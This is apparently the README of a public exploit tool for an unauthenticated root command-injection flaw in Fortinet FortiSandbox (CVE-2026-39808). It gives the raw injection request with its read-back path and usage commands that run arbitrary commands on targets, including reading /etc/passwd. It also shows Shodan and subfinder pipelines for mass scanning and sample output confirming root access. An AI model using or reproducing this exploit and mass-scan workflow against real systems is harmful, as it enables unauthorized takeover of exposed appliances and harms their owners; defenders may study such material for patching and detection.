
Unauthenticated RCE scanner for FortiSandbox CVE-2026-39808 with canary-based verification, command execution, and pipeline integration for mass scanning.
Unauthenticated OS Command Injection as root in Fortinet FortiSandbox
Vulnerability • Installation • Usage • How It Works • Pipeline • Shodan Dorks • Disclaimer
CVE-2026-39808 is a critical unauthenticated OS command injection vulnerability in Fortinet FortiSandbox. The /fortisandbox/job-detail/tracer-behavior API endpoint fails to sanitize the jid parameter, allowing an attacker to inject arbitrary OS commands that execute as root — without any authentication.
| Detail | Value |
|---|---|
| CVE ID | CVE-2026-39808 |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network |
| Authentication | None |
| Privileges | Root |
| Affected Versions | FortiSandbox < 4.4.9 |
| Patched In | 4.4.9 and above |
| Advisory | FG-IR-25-325 |
The jid parameter in the tracer-behavior endpoint is passed directly to a system command without sanitization. Using pipe characters (|), an attacker can break out of the intended command context and execute arbitrary commands:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
The output is written to /web/ng/out.txt, which is accessible at /ng/out.txt on the web server — providing a convenient read-back mechanism for blind command injection.
Zero dependencies. Python 3.7+ standard library only.
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# Verify if a target is vulnerable (uses canary-based detection)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# Execute a specific command on the target
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# Only check if vulnerable, don't execute --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# From a URL list
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → scanner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → scanner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL Target URL
--stdin Read URLs from stdin (pipeline mode)
--cmd CMD OS command to execute (default: id)
--verify-only Only verify vulnerability, don't execute --cmd
--proxy PROXY HTTP proxy (e.g., http://127.0.0.1:8080)
--timeout TIMEOUT HTTP timeout in seconds (default: 15)
--rate-limit RATE_LIMIT Delay between targets in ms (default: 0)
-o, --output FILE Output JSON report file
--no-banner Suppress banner
The scanner uses a 5-step verification process with strict false positive prevention:
Step 1 → Detect FortiSandbox (title/header fingerprint)
Step 2 → Check if vulnerable endpoint exists
Step 3 → Inject unique canary string via command injection
Step 4 → Read /ng/out.txt and verify canary (strict plain-text validation)
Step 5 → Execute user command + cleanup
The scanner implements multiple layers of validation to eliminate false positives:
text/htmlid Output Regex — Strict uid=\d+(\w+) pattern matching with size sanity check (<1000 bytes)/ng suffix to prevent double-path issues ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Unauthenticated Command Injection (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Target: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detected!
▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
▸ Endpoint status: 200 | Content-Type: text/html
▸ Injecting canary: mitsec_a8k3m2x1
▸ Reading output: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
CRITICAL Target: https://fortisandbox.example.com
✓ Canary 'mitsec_a8k3m2x1' verified in output (clean plain text)
──────────────────────────────────────────────────────────
Command Output: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Output file cleaned up
┌──────────────────────────────────────────────────────────┐
│ Target: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detected!
▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
✗ Endpoint returned 404 — not vulnerable or patched
▸ Reading output: https://target.com/ng/out.txt
⚠ Output URL returns HTML page — this is the Angular SPA, NOT command output
▸ Content-Type: text/html
▸ This is a false positive — /ng/out.txt serves the SPA index.html
▸ Target does not appear vulnerable